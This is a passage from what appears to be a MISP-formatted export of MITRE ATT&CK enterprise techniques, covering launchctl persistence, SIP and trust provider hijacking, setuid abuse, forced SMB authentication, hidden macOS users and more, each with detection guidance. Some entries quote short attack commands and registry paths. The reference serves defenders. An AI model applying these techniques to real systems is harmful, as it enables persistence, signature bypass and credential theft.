The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Security Software Discovery - T1063"*

Table 1974. Table References

Links
https://attack.mitre.org/wiki/Technique/T1063

Launchctl - T1152

Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> — /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.

Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.

Detection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.

Platforms: macOS

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path

Permissions Required: User, Administrator

Remote Support: No

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Launchctl - T1152"*

Table 1975. Table References

Links
https://attack.mitre.org/wiki/Technique/T1152
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Exploitation for Client Execution - T1203

Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

===Browser-based Exploitation===

Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

===Office Applications===

Common office and productivity applications such as Microsoft Office are also targeted through Spearphishing Attachment, Spearphishing Link, and Spearphishing via Service. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

===Common Third-party Applications===

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

Detection: Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.

Platforms: Linux, Windows, macOS

Data Sources: Anti-virus, System calls, Process Monitoring

System Requirements: Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise.

Remote Support: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploitation for Client Execution - T1203"*

Table 1976. Table References

Links
https://attack.mitre.org/wiki/Technique/T1203

Modify Existing Service - T1031

Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.

Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.

Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)

Detection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns)

Service information is stored in the Registry at <code>HKLM\SYSTEM\CurrentControlSet\Services</code>.

Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.

Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.

Platforms: Windows

Data Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring

Permissions Required: Administrator, SYSTEM

Contributors: Travis Smith, Tripwire, Matthew Demaske, Adaptforward

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Modify Existing Service - T1031"*

Table 1977. Table References

Links
https://attack.mitre.org/wiki/Technique/T1031
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://twitter.com/r0wdy%20/status/936365549553991680
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)

Standard Cryptographic Protocol - T1032

Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.

Some adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.

Detection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)

If malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)

In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Cryptographic Protocol - T1032"*

Table 1978. Table References

Links
https://attack.mitre.org/wiki/Technique/T1032
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf

SIP and Trust Provider Hijacking - T1198

In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017) * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP's CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file's real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file). * Modifying the <code>Dll</code> and <code>FuncName</code>

Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}</code> that point to the DLL providing a SIP's CryptSIPDllVerifyIndirectData function, which validates a file's computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk. * Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}</code> that point to the DLL providing a trust provider's FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP's CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). *'''Note:''' The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

Detection: Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)

Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)

Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) * HKLM\SOFTWARE\Microsoft\Cryptography\OID * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust * '''Note:''' As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using Regsvr32. (Citation: SpectorOps Subverting Trust Sept 2017)

Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)

Platforms: Windows

Data Sources: API monitoring, Application Logs, DLL monitoring, Loaded DLLs, Process Monitoring, Windows Registry, Windows event logs

Defense Bypassed: Application whitelisting, Autoruns Analysis, Digital Certificate Validation, Process whitelisting, User Mode Signature Validation

Permissions Required: Administrator, SYSTEM

Contributors: Matt Graeber, @mattifestation, SpecterOps

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="SIP and Trust Provider Hijacking - T1198"*

Table 1979. Table References

Links
https://attack.mitre.org/wiki/Technique/T1198
https://msdn.microsoft.com/library/ms537359.aspx
https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx
https://specterops.io/assets/resources/SpecterOps%20Subverting%20Trust%20in%20Windows.pdf
https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/
https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files
https://github.com/mattifestation/PoCSubjectInterfacePackage
http://www.entrust.net/knowledge-base/technote.cfm?tn=8165
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)

Setuid and Setgid - T1166

When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file’s attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.

An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user's context.

Detection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.

Platforms: Linux, macOS

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

Effective Permissions: Administrator, root

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Setuid and Setgid - T1166"*

Table 1980. Table References

Links
https://attack.mitre.org/wiki/Technique/T1166

Forced Authentication - T1187

The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)

Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary, or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials, or reuse it for Pass the Hash. (Citation: Cylance Redirect to SMB)

There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include: *A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened. The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017) *A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)

Detection: Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.

Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)

Platforms: Windows

Data Sources: File monitoring, Network protocol analysis, Network device logs, Process use of network

Permissions Required: User

Contributors: Teodor Cimpoesu, Sudhanshu Chauhan, @Sudhanshu_C

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Forced Authentication - T1187"*

Table 1981. Table References

Links
https://attack.mitre.org/wiki/Technique/T1187
https://en.wikipedia.org/wiki/Server%20Message%20Block
https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/
https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx
https://github.com/hob0/hashjacking
https://www.cylance.com/content/dam/cylance/pdfs/white%20papers/RedirectToSMB.pdf
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/

Valid Accounts - T1078

Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access.

Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

Adversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful.

The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)

Detection: Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.

Platforms: Linux, macOS, Windows

Data Sources: Authentication logs, Process monitoring

Effective Permissions: User, Administrator

Defense Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network intrusion detection system, Process whitelisting, System access controls

Permissions Required: User, Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Valid Accounts - T1078"*

Table 1982. Table References

Links
https://attack.mitre.org/wiki/Technique/T1078
https://technet.microsoft.com/en-us/library/dn535501.aspx
https://technet.microsoft.com/en-us/library/dn487457.aspx

System Service Discovery - T1007

Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using Tasklist, and "net start" using Net, but adversaries may also use other tools as well.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows

Data Sources: Process command-line parameters, Process monitoring

Permissions Required: User, Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="System Service Discovery - T1007"*

Table 1983. Table References

Links
https://attack.mitre.org/wiki/Technique/T1007

Supply Chain Compromise - T1195

Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: * Manipulation of development tools * Manipulation of a development environment * Manipulation of source code repositories (public or private) * Manipulation of software update/distribution mechanisms * Compromised/infected system images (multiple cases of removable media infected at the factory) * Replacement of legitimate software with modified versions * Sales of modified/counterfeit products to legitimate distributors * Shipment interdiction

While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011)

Detection: Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.

Platforms: Linux, Windows, macOS

Data Sources: Web proxy, File monitoring

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Supply Chain Compromise - T1195"*

Table 1984. Table References

Links
https://attack.mitre.org/wiki/Technique/T1195
https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/
https://www.commandfive.com/papers/C5%20APT%20SKHack.pdf
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf

Hidden Users - T1147

Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).

Detection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.

Platforms: macOS

Data Sources: Authentication logs, File monitoring

Permissions Required: Administrator, root

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Hidden Users - T1147"*

Table 1985. Table References

Links
https://attack.mitre.org/wiki/Technique/T1147
https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty

System Owner/User Discovery - T1033

===Windows===

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.

===Mac===

On Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>.

===Linux===

On Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process monitoring, Process command-line parameters

Permissions Required: User, Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="System Owner/User Discovery - T1033"*

Table 1986. Table References

Links
https://attack.mitre.org/wiki/Technique/T1033

Multiband Communication - T1026

Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Multiband Communication - T1026"*

Table 1987. Table References

Links
https://attack.mitre.org/wiki/Technique/T1026
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Pass the Ticket - T1097

Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

In this technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)

Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)

Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)

Detection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.

Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)

Platforms: Windows

Data Sources: Authentication logs

System Requirements: Requires Microsoft Windows as a target system and Kerberos authentication enabled.

Contributors: Ryan Becwar, Vincent Le Toux

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Pass the Ticket - T1097"*

Table 1988. Table References

Links
https://attack.mitre.org/wiki/Technique/T1097
https://adsecurity.org/?p=556
http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos

Windows Remote Management - T1028

Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)

Detection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.

Platforms: Windows

Data Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring

Permissions Required: User, Administrator

System Requirements: WinRM listener turned on and configured on remote system

Remote Support: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Remote Management - T1028"*

Table 1989. Table References

Links
https://attack.mitre.org/wiki/Technique/T1028
http://msdn.microsoft.com/en-us/library/aa384426
https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2

Launch Daemon - T1160

Per Apple's developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.

The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon's executable and gain persistence or Privilege Escalation.

Detection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.

Platforms: macOS

Data Sources: Process Monitoring, File monitoring

Effective Permissions: root

Permissions Required: Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Launch Daemon - T1160"*

Table 1990. Table References

Links
https://attack.mitre.org/wiki/Technique/T1160
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf
https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf

Keychain - T1142

Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and

Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.

Detection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.

Platforms: macOS

Data Sources: System calls, Process Monitoring

Permissions Required: Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Keychain - T1142"*

Table 1991. Table References

Links
https://attack.mitre.org/wiki/Technique/T1142
https://en.wikipedia.org/wiki/Keychain%20(software)
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way

Audio Capture - T1123

An adversary can leverage a computer’s peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.

Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.

Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.

